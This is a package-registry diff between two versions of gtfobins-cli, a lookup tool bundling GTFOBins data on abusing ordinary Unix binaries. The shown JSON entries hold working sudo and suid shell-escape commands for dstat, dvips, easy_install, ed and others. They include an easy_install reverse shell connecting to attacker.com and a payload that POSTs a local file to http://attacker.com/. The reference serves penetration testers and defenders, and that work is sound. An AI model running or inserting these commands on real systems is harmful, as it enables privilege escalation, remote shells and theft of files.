gtfobins-cli 1.0.0__py3-none-any.whl → 1.1.0__py3-none-any.whl

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (477) hide show
  1. gtfo/__init__.py +2 -1
  2. gtfo/cli.py +204 -32
  3. gtfo/data/7z.json +16 -0
  4. gtfo/data/aa-exec.json +22 -0
  5. gtfo/data/ab.json +28 -0
  6. gtfo/data/acr.json +16 -0
  7. gtfo/data/agetty.json +10 -0
  8. gtfo/data/alpine.json +22 -0
  9. gtfo/data/ansible-playbook.json +16 -0
  10. gtfo/data/ansible-test.json +16 -0
  11. gtfo/data/aoss.json +16 -0
  12. gtfo/data/apache2ctl.json +16 -0
  13. gtfo/data/apport-cli.json +22 -0
  14. gtfo/data/apt-get.json +6 -6
  15. gtfo/data/apt.json +8 -8
  16. gtfo/data/aptitude.json +16 -0
  17. gtfo/data/ar.json +6 -4
  18. gtfo/data/aria2c.json +17 -5
  19. gtfo/data/arj.json +28 -0
  20. gtfo/data/arp.json +7 -5
  21. gtfo/data/as.json +22 -0
  22. gtfo/data/ascii-xfr.json +22 -0
  23. gtfo/data/ascii85.json +16 -0
  24. gtfo/data/ash.json +9 -5
  25. gtfo/data/aspell.json +22 -0
  26. gtfo/data/asterisk.json +20 -0
  27. gtfo/data/at.json +3 -1
  28. gtfo/data/atobm.json +6 -4
  29. gtfo/data/awk.json +20 -14
  30. gtfo/data/aws.json +16 -0
  31. gtfo/data/base32.json +7 -4
  32. gtfo/data/base58.json +16 -0
  33. gtfo/data/base64.json +7 -4
  34. gtfo/data/basenc.json +6 -3
  35. gtfo/data/basez.json +22 -0
  36. gtfo/data/bash.json +22 -17
  37. gtfo/data/bashbug.json +14 -0
  38. gtfo/data/batcat.json +22 -0
  39. gtfo/data/bc.json +22 -0
  40. gtfo/data/bconsole.json +22 -0
  41. gtfo/data/bee.json +10 -0
  42. gtfo/data/borg.json +16 -0
  43. gtfo/data/bpftrace.json +6 -3
  44. gtfo/data/bridge.json +22 -0
  45. gtfo/data/bundle.json +32 -0
  46. gtfo/data/bundler.json +7 -4
  47. gtfo/data/busctl.json +14 -3
  48. gtfo/data/busybox.json +17 -8
  49. gtfo/data/byebug.json +4 -1
  50. gtfo/data/bzip2.json +22 -0
  51. gtfo/data/c89.json +28 -0
  52. gtfo/data/c99.json +28 -0
  53. gtfo/data/cabal.json +22 -0
  54. gtfo/data/cancel.json +3 -3
  55. gtfo/data/capsh.json +6 -3
  56. gtfo/data/cargo.json +14 -0
  57. gtfo/data/cat.json +7 -4
  58. gtfo/data/cdist.json +16 -0
  59. gtfo/data/certbot.json +2 -0
  60. gtfo/data/chattr.json +14 -0
  61. gtfo/data/check_by_ssh.json +2 -3
  62. gtfo/data/check_cups.json +4 -3
  63. gtfo/data/check_log.json +20 -18
  64. gtfo/data/check_memory.json +4 -3
  65. gtfo/data/check_raid.json +4 -3
  66. gtfo/data/check_ssl_cert.json +2 -3
  67. gtfo/data/check_statusfile.json +4 -3
  68. gtfo/data/chmod.json +4 -3
  69. gtfo/data/choom.json +22 -0
  70. gtfo/data/chown.json +5 -4
  71. gtfo/data/chroot.json +3 -1
  72. gtfo/data/chrt.json +28 -0
  73. gtfo/data/clamscan.json +22 -0
  74. gtfo/data/clisp.json +16 -0
  75. gtfo/data/cmake.json +28 -0
  76. gtfo/data/cmp.json +22 -0
  77. gtfo/data/cobc.json +3 -1
  78. gtfo/data/code.json +22 -0
  79. gtfo/data/column.json +6 -4
  80. gtfo/data/comm.json +6 -3
  81. gtfo/data/composer.json +3 -0
  82. gtfo/data/cowsay.json +2 -1
  83. gtfo/data/cowthink.json +16 -14
  84. gtfo/data/cp.json +21 -9
  85. gtfo/data/cpan.json +8 -7
  86. gtfo/data/cpio.json +14 -12
  87. gtfo/data/cpulimit.json +6 -3
  88. gtfo/data/crash.json +5 -4
  89. gtfo/data/crontab.json +5 -5
  90. gtfo/data/csh.json +9 -5
  91. gtfo/data/csplit.json +12 -3
  92. gtfo/data/csvtool.json +8 -5
  93. gtfo/data/ctr.json +10 -0
  94. gtfo/data/cupsfilter.json +6 -3
  95. gtfo/data/curl.json +19 -7
  96. gtfo/data/cut.json +7 -4
  97. gtfo/data/dash.json +9 -5
  98. gtfo/data/date.json +7 -5
  99. gtfo/data/dc.json +22 -0
  100. gtfo/data/dd.json +9 -5
  101. gtfo/data/debugfs.json +22 -0
  102. gtfo/data/dhclient.json +10 -0
  103. gtfo/data/dialog.json +7 -5
  104. gtfo/data/diff.json +11 -4
  105. gtfo/data/dig.json +6 -4
  106. gtfo/data/distcc.json +22 -0
  107. gtfo/data/dmesg.json +4 -4
  108. gtfo/data/dmidecode.json +10 -0
  109. gtfo/data/dmsetup.json +3 -1
  110. gtfo/data/dnf.json +3 -3
  111. gtfo/data/dnsmasq.json +10 -0
  112. gtfo/data/doas.json +10 -0
  113. gtfo/data/docker.json +9 -6
  114. gtfo/data/dos2unix.json +10 -0
  115. gtfo/data/dosbox.json +32 -0
  116. gtfo/data/dotnet.json +22 -0
  117. gtfo/data/dpkg.json +5 -5
  118. gtfo/data/dstat.json +16 -0
  119. gtfo/data/dvips.json +3 -1
  120. gtfo/data/easy_install.json +14 -11
  121. gtfo/data/eb.json +3 -2
  122. gtfo/data/ed.json +9 -3
  123. gtfo/data/efax.json +16 -0
  124. gtfo/data/elvish.json +34 -0
  125. gtfo/data/emacs.json +11 -6
  126. gtfo/data/enscript.json +16 -0
  127. gtfo/data/env.json +7 -4
  128. gtfo/data/eqn.json +7 -5
  129. gtfo/data/espeak.json +22 -0
  130. gtfo/data/ex.json +30 -22
  131. gtfo/data/exiftool.json +26 -4
  132. gtfo/data/expand.json +7 -5
  133. gtfo/data/expect.json +13 -4
  134. gtfo/data/facter.json +4 -2
  135. gtfo/data/fail2ban-client.json +14 -0
  136. gtfo/data/ffmpeg.json +10 -0
  137. gtfo/data/file.json +8 -8
  138. gtfo/data/find.json +19 -4
  139. gtfo/data/finger.json +5 -6
  140. gtfo/data/firejail.json +35 -0
  141. gtfo/data/fish.json +22 -0
  142. gtfo/data/flock.json +7 -4
  143. gtfo/data/fmt.json +5 -6
  144. gtfo/data/fold.json +7 -4
  145. gtfo/data/fping.json +16 -0
  146. gtfo/data/ftp.json +5 -3
  147. gtfo/data/fzf.json +90 -0
  148. gtfo/data/gawk.json +17 -11
  149. gtfo/data/gcc.json +12 -4
  150. gtfo/data/gcloud.json +16 -0
  151. gtfo/data/gcore.json +22 -0
  152. gtfo/data/gdb.json +15 -13
  153. gtfo/data/gem.json +8 -8
  154. gtfo/data/genie.json +22 -0
  155. gtfo/data/genisoimage.json +11 -4
  156. gtfo/data/getent.json +14 -0
  157. gtfo/data/ghc.json +4 -2
  158. gtfo/data/ghci.json +2 -0
  159. gtfo/data/gimp.json +19 -14
  160. gtfo/data/ginsh.json +22 -0
  161. gtfo/data/git.json +22 -11
  162. gtfo/data/gnuplot.json +16 -0
  163. gtfo/data/go.json +58 -0
  164. gtfo/data/grc.json +16 -0
  165. gtfo/data/grep.json +7 -5
  166. gtfo/data/gtester.json +10 -1
  167. gtfo/data/guile.json +16 -0
  168. gtfo/data/gzip.json +14 -5
  169. gtfo/data/hashcat.json +16 -0
  170. gtfo/data/hd.json +7 -5
  171. gtfo/data/head.json +7 -4
  172. gtfo/data/hexdump.json +7 -5
  173. gtfo/data/hg.json +16 -0
  174. gtfo/data/highlight.json +7 -4
  175. gtfo/data/hping3.json +7 -0
  176. gtfo/data/iconv.json +9 -6
  177. gtfo/data/iftop.json +3 -1
  178. gtfo/data/install.json +4 -3
  179. gtfo/data/ionice.json +7 -4
  180. gtfo/data/ip.json +11 -5
  181. gtfo/data/irb.json +13 -8
  182. gtfo/data/ispell.json +22 -0
  183. gtfo/data/java.json +10 -0
  184. gtfo/data/jjs.json +13 -10
  185. gtfo/data/joe.json +22 -0
  186. gtfo/data/join.json +6 -3
  187. gtfo/data/journalctl.json +3 -2
  188. gtfo/data/jq.json +7 -4
  189. gtfo/data/jrunscript.json +13 -10
  190. gtfo/data/jshell.json +35 -0
  191. gtfo/data/jtag.json +16 -0
  192. gtfo/data/julia.json +46 -0
  193. gtfo/data/knife.json +16 -0
  194. gtfo/data/ksh.json +19 -15
  195. gtfo/data/ksshell.json +7 -5
  196. gtfo/data/ksu.json +10 -0
  197. gtfo/data/kubectl.json +30 -0
  198. gtfo/data/last.json +16 -0
  199. gtfo/data/lastb.json +16 -0
  200. gtfo/data/latex.json +11 -2
  201. gtfo/data/latexmk.json +9 -6
  202. gtfo/data/ld.so.json +7 -5
  203. gtfo/data/ldconfig.json +1 -2
  204. gtfo/data/less.json +17 -7
  205. gtfo/data/lessfilter.json +22 -0
  206. gtfo/data/lesspipe.json +16 -0
  207. gtfo/data/lftp.json +22 -0
  208. gtfo/data/links.json +22 -0
  209. gtfo/data/ln.json +10 -0
  210. gtfo/data/loginctl.json +16 -0
  211. gtfo/data/logrotate.json +38 -0
  212. gtfo/data/logsave.json +7 -4
  213. gtfo/data/look.json +7 -4
  214. gtfo/data/lp.json +10 -0
  215. gtfo/data/ltrace.json +7 -5
  216. gtfo/data/lua.json +21 -15
  217. gtfo/data/lualatex.json +6 -4
  218. gtfo/data/luatex.json +6 -4
  219. gtfo/data/lwp-download.json +7 -5
  220. gtfo/data/lwp-request.json +4 -2
  221. gtfo/data/m4.json +59 -0
  222. gtfo/data/mail.json +3 -3
  223. gtfo/data/make.json +15 -7
  224. gtfo/data/man.json +5 -3
  225. gtfo/data/mawk.json +12 -6
  226. gtfo/data/minicom.json +26 -0
  227. gtfo/data/more.json +7 -3
  228. gtfo/data/mosh-server.json +10 -0
  229. gtfo/data/mosquitto.json +22 -0
  230. gtfo/data/mount.json +2 -2
  231. gtfo/data/msfconsole.json +16 -0
  232. gtfo/data/msgattrib.json +22 -0
  233. gtfo/data/msgcat.json +22 -0
  234. gtfo/data/msgconv.json +22 -0
  235. gtfo/data/msgfilter.json +28 -0
  236. gtfo/data/msgmerge.json +22 -0
  237. gtfo/data/msguniq.json +22 -0
  238. gtfo/data/mtr.json +5 -4
  239. gtfo/data/multitime.json +22 -0
  240. gtfo/data/mutt.json +14 -0
  241. gtfo/data/mv.json +5 -4
  242. gtfo/data/mypy.json +26 -0
  243. gtfo/data/mysql.json +9 -7
  244. gtfo/data/nano.json +9 -5
  245. gtfo/data/nasm.json +22 -0
  246. gtfo/data/nawk.json +16 -10
  247. gtfo/data/nc.json +13 -13
  248. gtfo/data/ncdu.json +22 -0
  249. gtfo/data/ncftp.json +22 -0
  250. gtfo/data/neofetch.json +22 -0
  251. gtfo/data/nft.json +22 -0
  252. gtfo/data/nginx.json +22 -0
  253. gtfo/data/nice.json +7 -4
  254. gtfo/data/nl.json +7 -5
  255. gtfo/data/nm.json +22 -0
  256. gtfo/data/nmap.json +26 -16
  257. gtfo/data/node.json +18 -12
  258. gtfo/data/nohup.json +10 -6
  259. gtfo/data/npm.json +6 -0
  260. gtfo/data/nroff.json +3 -1
  261. gtfo/data/nsenter.json +5 -3
  262. gtfo/data/ntpdate.json +22 -0
  263. gtfo/data/nvim.json +16 -0
  264. gtfo/data/octave.json +34 -0
  265. gtfo/data/od.json +7 -5
  266. gtfo/data/openssl.json +21 -16
  267. gtfo/data/openvpn.json +13 -5
  268. gtfo/data/openvt.json +1 -1
  269. gtfo/data/opkg.json +10 -0
  270. gtfo/data/pandoc.json +40 -0
  271. gtfo/data/passwd.json +10 -0
  272. gtfo/data/paste.json +6 -3
  273. gtfo/data/pax.json +10 -0
  274. gtfo/data/pdb.json +3 -2
  275. gtfo/data/pdflatex.json +5 -2
  276. gtfo/data/pdftex.json +3 -0
  277. gtfo/data/perf.json +22 -0
  278. gtfo/data/perl.json +28 -7
  279. gtfo/data/perlbug.json +16 -0
  280. gtfo/data/pexec.json +22 -0
  281. gtfo/data/pg.json +7 -3
  282. gtfo/data/php.json +25 -15
  283. gtfo/data/pic.json +10 -1
  284. gtfo/data/pico.json +8 -4
  285. gtfo/data/pidstat.json +22 -0
  286. gtfo/data/pip.json +19 -8
  287. gtfo/data/pipx.json +25 -0
  288. gtfo/data/pkexec.json +3 -2
  289. gtfo/data/pkg.json +1 -1
  290. gtfo/data/plymouth.json +10 -0
  291. gtfo/data/podman.json +10 -0
  292. gtfo/data/poetry.json +26 -0
  293. gtfo/data/posh.json +22 -0
  294. gtfo/data/pr.json +6 -4
  295. gtfo/data/procmail.json +10 -0
  296. gtfo/data/pry.json +4 -1
  297. gtfo/data/psftp.json +22 -0
  298. gtfo/data/psql.json +14 -1
  299. gtfo/data/ptx.json +22 -0
  300. gtfo/data/puppet.json +6 -4
  301. gtfo/data/pwsh.json +22 -0
  302. gtfo/data/pygmentize.json +14 -0
  303. gtfo/data/pyright.json +32 -0
  304. gtfo/data/python.json +21 -15
  305. gtfo/data/qpdf.json +18 -0
  306. gtfo/data/r.json +16 -0
  307. gtfo/data/rake.json +13 -4
  308. gtfo/data/rc.json +22 -0
  309. gtfo/data/readelf.json +7 -5
  310. gtfo/data/red.json +7 -5
  311. gtfo/data/redcarpet.json +5 -4
  312. gtfo/data/redis.json +10 -0
  313. gtfo/data/restic.json +13 -5
  314. gtfo/data/rev.json +6 -3
  315. gtfo/data/rlogin.json +3 -4
  316. gtfo/data/rlwrap.json +9 -6
  317. gtfo/data/rpm.json +9 -5
  318. gtfo/data/rpmdb.json +22 -0
  319. gtfo/data/rpmquery.json +6 -3
  320. gtfo/data/rpmverify.json +22 -0
  321. gtfo/data/rsync.json +7 -4
  322. gtfo/data/rsyslogd.json +16 -0
  323. gtfo/data/rtorrent.json +16 -0
  324. gtfo/data/ruby.json +17 -11
  325. gtfo/data/run-mailcap.json +7 -7
  326. gtfo/data/run-parts.json +7 -4
  327. gtfo/data/runscript.json +22 -0
  328. gtfo/data/rustdoc.json +26 -0
  329. gtfo/data/rustfmt.json +15 -0
  330. gtfo/data/rustup.json +22 -0
  331. gtfo/data/rview.json +36 -34
  332. gtfo/data/rvim.json +41 -35
  333. gtfo/data/sash.json +8 -5
  334. gtfo/data/scanmem.json +22 -0
  335. gtfo/data/scp.json +6 -3
  336. gtfo/data/screen.json +9 -7
  337. gtfo/data/script.json +6 -4
  338. gtfo/data/scrot.json +22 -0
  339. gtfo/data/sed.json +12 -9
  340. gtfo/data/service.json +5 -3
  341. gtfo/data/setarch.json +7 -4
  342. gtfo/data/setcap.json +16 -0
  343. gtfo/data/setfacl.json +16 -0
  344. gtfo/data/setlock.json +22 -0
  345. gtfo/data/sftp.json +7 -5
  346. gtfo/data/sg.json +1 -0
  347. gtfo/data/shred.json +16 -0
  348. gtfo/data/shuf.json +5 -5
  349. gtfo/data/slsh.json +22 -0
  350. gtfo/data/smbclient.json +9 -8
  351. gtfo/data/snap.json +2 -2
  352. gtfo/data/socat.json +23 -11
  353. gtfo/data/socket.json +16 -0
  354. gtfo/data/soelim.json +7 -5
  355. gtfo/data/softlimit.json +22 -0
  356. gtfo/data/sort.json +13 -4
  357. gtfo/data/split.json +15 -4
  358. gtfo/data/sqlite3.json +12 -6
  359. gtfo/data/sqlmap.json +16 -0
  360. gtfo/data/ss.json +6 -4
  361. gtfo/data/ssh-agent.json +22 -0
  362. gtfo/data/ssh-copy-id.json +24 -0
  363. gtfo/data/ssh-keygen.json +6 -6
  364. gtfo/data/ssh-keyscan.json +22 -0
  365. gtfo/data/ssh.json +11 -7
  366. gtfo/data/sshfs.json +42 -0
  367. gtfo/data/sshpass.json +22 -0
  368. gtfo/data/sshuttle.json +10 -0
  369. gtfo/data/start-stop-daemon.json +7 -4
  370. gtfo/data/stdbuf.json +7 -4
  371. gtfo/data/strace.json +8 -5
  372. gtfo/data/strings.json +7 -5
  373. gtfo/data/su.json +3 -2
  374. gtfo/data/sudo.json +10 -0
  375. gtfo/data/svn.json +10 -0
  376. gtfo/data/sysctl.json +13 -5
  377. gtfo/data/systemctl.json +7 -4
  378. gtfo/data/systemd-resolve.json +10 -0
  379. gtfo/data/systemd-run.json +60 -0
  380. gtfo/data/tac.json +7 -5
  381. gtfo/data/tail.json +7 -4
  382. gtfo/data/tailscale.json +10 -0
  383. gtfo/data/tar.json +14 -11
  384. gtfo/data/task.json +16 -0
  385. gtfo/data/taskset.json +7 -4
  386. gtfo/data/tasksh.json +22 -0
  387. gtfo/data/tbl.json +6 -4
  388. gtfo/data/tclsh.json +11 -6
  389. gtfo/data/tcpdump.json +11 -4
  390. gtfo/data/tcsh.json +28 -0
  391. gtfo/data/tdbtool.json +22 -0
  392. gtfo/data/tee.json +9 -7
  393. gtfo/data/telnet.json +6 -6
  394. gtfo/data/terraform.json +22 -0
  395. gtfo/data/tex.json +3 -0
  396. gtfo/data/tftp.json +5 -5
  397. gtfo/data/tic.json +22 -0
  398. gtfo/data/time.json +7 -5
  399. gtfo/data/timedatectl.json +16 -0
  400. gtfo/data/timeout.json +7 -4
  401. gtfo/data/tmate.json +22 -0
  402. gtfo/data/tmux.json +15 -3
  403. gtfo/data/top.json +2 -2
  404. gtfo/data/torify.json +16 -0
  405. gtfo/data/torsocks.json +16 -0
  406. gtfo/data/troff.json +6 -4
  407. gtfo/data/tsc.json +26 -0
  408. gtfo/data/tshark.json +10 -0
  409. gtfo/data/ul.json +7 -5
  410. gtfo/data/unexpand.json +7 -4
  411. gtfo/data/uniq.json +7 -5
  412. gtfo/data/unshare.json +7 -4
  413. gtfo/data/unsquashfs.json +16 -0
  414. gtfo/data/unzip.json +16 -0
  415. gtfo/data/update-alternatives.json +4 -4
  416. gtfo/data/urlget.json +16 -0
  417. gtfo/data/uudecode.json +22 -0
  418. gtfo/data/uuencode.json +21 -18
  419. gtfo/data/uv.json +43 -0
  420. gtfo/data/vagrant.json +22 -0
  421. gtfo/data/valgrind.json +5 -3
  422. gtfo/data/varnishncsa.json +16 -0
  423. gtfo/data/vi.json +18 -6
  424. gtfo/data/view.json +41 -36
  425. gtfo/data/vigr.json +16 -0
  426. gtfo/data/vim.json +43 -38
  427. gtfo/data/vimdiff.json +41 -36
  428. gtfo/data/vipw.json +16 -0
  429. gtfo/data/virsh.json +6 -5
  430. gtfo/data/volatility.json +10 -0
  431. gtfo/data/w3m.json +22 -0
  432. gtfo/data/wall.json +10 -0
  433. gtfo/data/watch.json +9 -6
  434. gtfo/data/wc.json +6 -4
  435. gtfo/data/wg-quick.json +10 -0
  436. gtfo/data/wget.json +17 -11
  437. gtfo/data/whiptail.json +22 -0
  438. gtfo/data/whois.json +9 -10
  439. gtfo/data/wireshark.json +16 -0
  440. gtfo/data/wish.json +5 -3
  441. gtfo/data/xargs.json +9 -8
  442. gtfo/data/xdg-user-dir.json +16 -0
  443. gtfo/data/xdotool.json +22 -0
  444. gtfo/data/xelatex.json +5 -2
  445. gtfo/data/xetex.json +3 -0
  446. gtfo/data/xmodmap.json +6 -4
  447. gtfo/data/xmore.json +6 -4
  448. gtfo/data/xpad.json +16 -0
  449. gtfo/data/xxd.json +9 -5
  450. gtfo/data/xz.json +7 -4
  451. gtfo/data/yarn.json +20 -0
  452. gtfo/data/yash.json +22 -0
  453. gtfo/data/yelp.json +2 -2
  454. gtfo/data/yt-dlp.json +24 -0
  455. gtfo/data/yum.json +4 -4
  456. gtfo/data/zathura.json +16 -0
  457. gtfo/data/zcat.json +10 -0
  458. gtfo/data/zic.json +20 -0
  459. gtfo/data/zip.json +5 -1
  460. gtfo/data/zless.json +15 -0
  461. gtfo/data/zsh.json +10 -5
  462. gtfo/data/zsoelim.json +7 -5
  463. gtfo/data/zypper.json +5 -3
  464. gtfo/images/filter-with.png +0 -0
  465. gtfo/images/search-docker.png +0 -0
  466. gtfo/images/search-for.png +0 -0
  467. gtfo/images/search-interactive.png +0 -0
  468. gtfo/images/sqlit3.png +0 -0
  469. {gtfobins_cli-1.0.0.dist-info → gtfobins_cli-1.1.0.dist-info}/METADATA +66 -17
  470. gtfobins_cli-1.1.0.dist-info/RECORD +474 -0
  471. {gtfobins_cli-1.0.0.dist-info → gtfobins_cli-1.1.0.dist-info}/WHEEL +1 -1
  472. gtfo/data/octave-cli.json +0 -30
  473. gtfo/data/ssh_keyscan.json +0 -20
  474. gtfobins_cli-1.0.0.dist-info/RECORD +0 -263
  475. {gtfobins_cli-1.0.0.dist-info → gtfobins_cli-1.1.0.dist-info}/entry_points.txt +0 -0
  476. {gtfobins_cli-1.0.0.dist-info → gtfobins_cli-1.1.0.dist-info}/licenses/LICENSE +0 -0
  477. {gtfobins_cli-1.0.0.dist-info → gtfobins_cli-1.1.0.dist-info}/top_level.txt +0 -0
gtfo/data/dstat.json ADDED
@@ -0,0 +1,16 @@
1
+ {
2
+ "functions": {
3
+ "shell": [
4
+ {
5
+
6
+ "code": "mkdir -p ~/.dstat\necho 'import os; os.execv(\"/bin/sh\", [\"sh\"])' >~/.dstat/dstat_xxx.py\ndstat --xxx\n"
7
+ }
8
+ ],
9
+ "sudo": [
10
+ {
11
+
12
+ "code": "echo 'import os; os.execv(\"/bin/sh\", [\"sh\"])' >/usr/local/share/dstat/dstat_xxx.py\nsudo dstat --xxx\n"
13
+ }
14
+ ]
15
+ }
16
+ }
gtfo/data/dvips.json CHANGED
@@ -1,18 +1,20 @@
1
1
  {
2
- "description": "The 'texput.dvi' output file produced by 'tex' can be created offline and uploaded to the target.",
3
2
  "functions": {
4
3
  "shell": [
5
4
  {
5
+
6
6
  "code": "tex '\\special{psfile=\"`/bin/sh 1>&0\"}\\end'\ndvips -R0 texput.dvi\n"
7
7
  }
8
8
  ],
9
9
  "sudo": [
10
10
  {
11
+
11
12
  "code": "tex '\\special{psfile=\"`/bin/sh 1>&0\"}\\end'\nsudo dvips -R0 texput.dvi\n"
12
13
  }
13
14
  ],
14
15
  "limited-suid": [
15
16
  {
17
+
16
18
  "code": "tex '\\special{psfile=\"`/bin/sh 1>&0\"}\\end'\n./dvips -R0 texput.dvi\n"
17
19
  }
18
20
  ]
@@ -2,52 +2,55 @@
2
2
  "functions": {
3
3
  "shell": [
4
4
  {
5
+
5
6
  "code": "TF=$(mktemp -d)\necho \"import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')\" > $TF/setup.py\neasy_install $TF\n"
6
7
  }
7
8
  ],
8
9
  "reverse-shell": [
9
10
  {
10
- "description": "Run 'socat file:`tty`,raw,echo=0 tcp-listen:[port]' on the attacker box to receive the shell.",
11
- "code": "TF=$(mktemp -d)\necho 'import sys,socket,os,pty;s=socket.socket()\ns.connect((\"[host]\",[port]))\n[os.dup2(s.fileno(),fd) for fd in (0,1,2)]\npty.spawn(\"/bin/sh\")' > $TF/setup.py\neasy_install $TF\n"
11
+ "description": "Run ``socat file:`tty`,raw,echo=0 tcp-listen:12345`` on the attacker box to receive the shell.",
12
+ "code": "export RHOST=attacker.com\nexport RPORT=12345\nTF=$(mktemp -d)\necho 'import sys,socket,os,pty;s=socket.socket()\ns.connect((os.getenv(\"RHOST\"),int(os.getenv(\"RPORT\"))))\n[os.dup2(s.fileno(),fd) for fd in (0,1,2)]\npty.spawn(\"/bin/sh\")' > $TF/setup.py\neasy_install $TF\n"
12
13
  }
13
14
  ],
14
15
  "file-upload": [
15
16
  {
16
- "description": "Send local file via 'd' parameter of a HTTP POST request. Run an HTTP service on the attacker box to collect the file. The file path must be absolute.",
17
- "code": "TF=$(mktemp -d)\necho 'import sys;\nif sys.version_info.major == 3: import urllib.request as r, urllib.parse as u\nelse: import urllib as u, urllib2 as r\nr.urlopen(\"[url]\", bytes(u.urlencode({\"d\":open(\"[file]\").read()}).encode()))' > $TF/setup.py\neasy_install $TF\n"
17
+ "description": "Send local file via \"d\" parameter of a HTTP POST request. Run an HTTP service on the attacker box to collect the file.",
18
+ "code": "export URL=http://attacker.com/\nexport LFILE=file_to_send\nTF=$(mktemp -d)\necho 'import sys; from os import environ as e\nif sys.version_info.major == 3: import urllib.request as r, urllib.parse as u\nelse: import urllib as u, urllib2 as r\nr.urlopen(e[\"URL\"], bytes(u.urlencode({\"d\":open(e[\"LFILE\"]).read()}).encode()))' > $TF/setup.py\neasy_install $TF\n"
18
19
  },
19
20
  {
20
- "description": "Serve files in the local folder running an HTTP server. ",
21
- "code": "TF=$(mktemp -d)\necho 'import sys; from os import environ as e\nif sys.version_info.major == 3: import http.server as s, socketserver as ss\nelse: import SimpleHTTPServer as s, SocketServer as ss\nss.TCPServer((\"\", [port]), s.SimpleHTTPRequestHandler).serve_forever()' > $TF/setup.py\neasy_install $TF\n"
21
+ "description": "Serve files in the local folder running an HTTP server.",
22
+ "code": "export LPORT=8888\nTF=$(mktemp -d)\necho 'import sys; from os import environ as e\nif sys.version_info.major == 3: import http.server as s, socketserver as ss\nelse: import SimpleHTTPServer as s, SocketServer as ss\nss.TCPServer((\"\", int(e[\"LPORT\"])), s.SimpleHTTPRequestHandler).serve_forever()' > $TF/setup.py\neasy_install $TF\n"
22
23
  }
23
24
  ],
24
25
  "file-download": [
25
26
  {
26
27
  "description": "Fetch a remote file via HTTP GET request. The file path must be absolute.",
27
- "code": "TF=$(mktemp -d)\necho \"import os;\nos.execl('$(whereis python)', '$(whereis python)', '-c', \\\"\\\"\\\"import sys;\nif sys.version_info.major == 3: import urllib.request as r\nelse: import urllib as r\nr.urlretrieve('[url]', '[file]')\\\"\\\"\\\")\" > $TF/setup.py\npip install $TF\n"
28
+ "code": "export URL=http://attacker.com/file_to_get\nexport LFILE=/tmp/file_to_save\nTF=$(mktemp -d)\necho \"import os;\nos.execl('$(whereis python)', '$(whereis python)', '-c', \\\"\\\"\\\"import sys;\nif sys.version_info.major == 3: import urllib.request as r\nelse: import urllib as r\nr.urlretrieve('$URL', '$LFILE')\\\"\\\"\\\")\" > $TF/setup.py\npip install $TF\n"
28
29
  }
29
30
  ],
30
31
  "file-write": [
31
32
  {
32
33
  "description": "The file path must be absolute.",
33
- "code": "TF=$(mktemp -d)\necho \"import os;\nos.execl('$(whereis python)', 'python', '-c', 'open(\\\"[file]\\\",\\\"w+\\\").write(\\\"DATA\\\")')\" > $TF/setup.py\neasy_install $TF\n"
34
+ "code": "export LFILE=/tmp/file_to_save\nTF=$(mktemp -d)\necho \"import os;\nos.execl('$(whereis python)', 'python', '-c', 'open(\\\"$LFILE\\\",\\\"w+\\\").write(\\\"DATA\\\")')\" > $TF/setup.py\neasy_install $TF\n"
34
35
  }
35
36
  ],
36
37
  "file-read": [
37
38
  {
38
- "description": "The read file content is wrapped within program messages. The file path must be absolute.",
39
- "code": "TF=$(mktemp -d)\necho 'print(open(\"[file]\").read())' > $TF/setup.py\neasy_install $TF\n"
39
+ "description": "The read file content is wrapped within program messages.",
40
+ "code": "TF=$(mktemp -d)\necho 'print(open(\"file_to_read\").read())' > $TF/setup.py\neasy_install $TF\n"
40
41
  }
41
42
  ],
42
43
  "library-load": [
43
44
  {
45
+
44
46
  "code": "TF=$(mktemp -d)\necho 'from ctypes import cdll; cdll.LoadLibrary(\"lib.so\")' > $TF/setup.py\neasy_install $TF\n"
45
47
  }
46
48
  ],
47
49
  "sudo": [
48
50
  {
51
+
49
52
  "code": "TF=$(mktemp -d)\necho \"import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')\" > $TF/setup.py\nsudo easy_install $TF\n"
50
53
  }
51
54
  ]
52
55
  }
53
- }
56
+ }
gtfo/data/eb.json CHANGED
@@ -1,15 +1,16 @@
1
1
  {
2
- "description": "This invokes the default logging service, which is likely to be 'journalctl', other functions may apply. For this to work the target must be connected to AWS instance via EB-CLI.",
3
2
  "functions": {
4
3
  "shell": [
5
4
  {
5
+
6
6
  "code": "eb logs\n!/bin/sh\n"
7
7
  }
8
8
  ],
9
9
  "sudo": [
10
10
  {
11
+
11
12
  "code": "sudo eb logs\n!/bin/sh\n"
12
13
  }
13
14
  ]
14
15
  }
15
- }
16
+ }
gtfo/data/ed.json CHANGED
@@ -2,31 +2,37 @@
2
2
  "functions": {
3
3
  "shell": [
4
4
  {
5
+
5
6
  "code": "ed\n!/bin/sh\n"
6
7
  }
7
8
  ],
8
9
  "file-write": [
9
10
  {
10
- "code": "ed [file]\na\nDATA\n.\nw\nq\n"
11
+
12
+ "code": "ed file_to_write\na\nDATA\n.\nw\nq\n"
11
13
  }
12
14
  ],
13
15
  "file-read": [
14
16
  {
15
- "code": "ed [file]\n,p\nq\n"
17
+
18
+ "code": "ed file_to_read\n,p\nq\n"
16
19
  }
17
20
  ],
18
21
  "suid": [
19
22
  {
20
- "code": "./ed [file]\n,p\nq\n"
23
+
24
+ "code": "./ed file_to_read\n,p\nq\n"
21
25
  }
22
26
  ],
23
27
  "sudo": [
24
28
  {
29
+
25
30
  "code": "sudo ed\n!/bin/sh\n"
26
31
  }
27
32
  ],
28
33
  "limited-suid": [
29
34
  {
35
+
30
36
  "code": "./ed\n!/bin/sh\n"
31
37
  }
32
38
  ]
gtfo/data/efax.json ADDED
@@ -0,0 +1,16 @@
1
+ {
2
+ "functions": {
3
+ "suid": [
4
+ {
5
+
6
+ "code": "LFILE=file_to_read\n./efax -d \"$LFILE\"\n"
7
+ }
8
+ ],
9
+ "sudo": [
10
+ {
11
+
12
+ "code": "LFILE=file_to_read\nsudo efax -d \"$LFILE\"\n"
13
+ }
14
+ ]
15
+ }
16
+ }
gtfo/data/elvish.json ADDED
@@ -0,0 +1,34 @@
1
+ {
2
+ "functions": {
3
+ "file-read": [
4
+ {
5
+
6
+ "code": "export LFILE=file_to_read\nelvish -c 'echo (slurp <$E:LFILE)'\n"
7
+ }
8
+ ],
9
+ "file-write": [
10
+ {
11
+
12
+ "code": "export LFILE=file_to_write\nelvish -c 'echo DATA >$E:LFILE'\n"
13
+ }
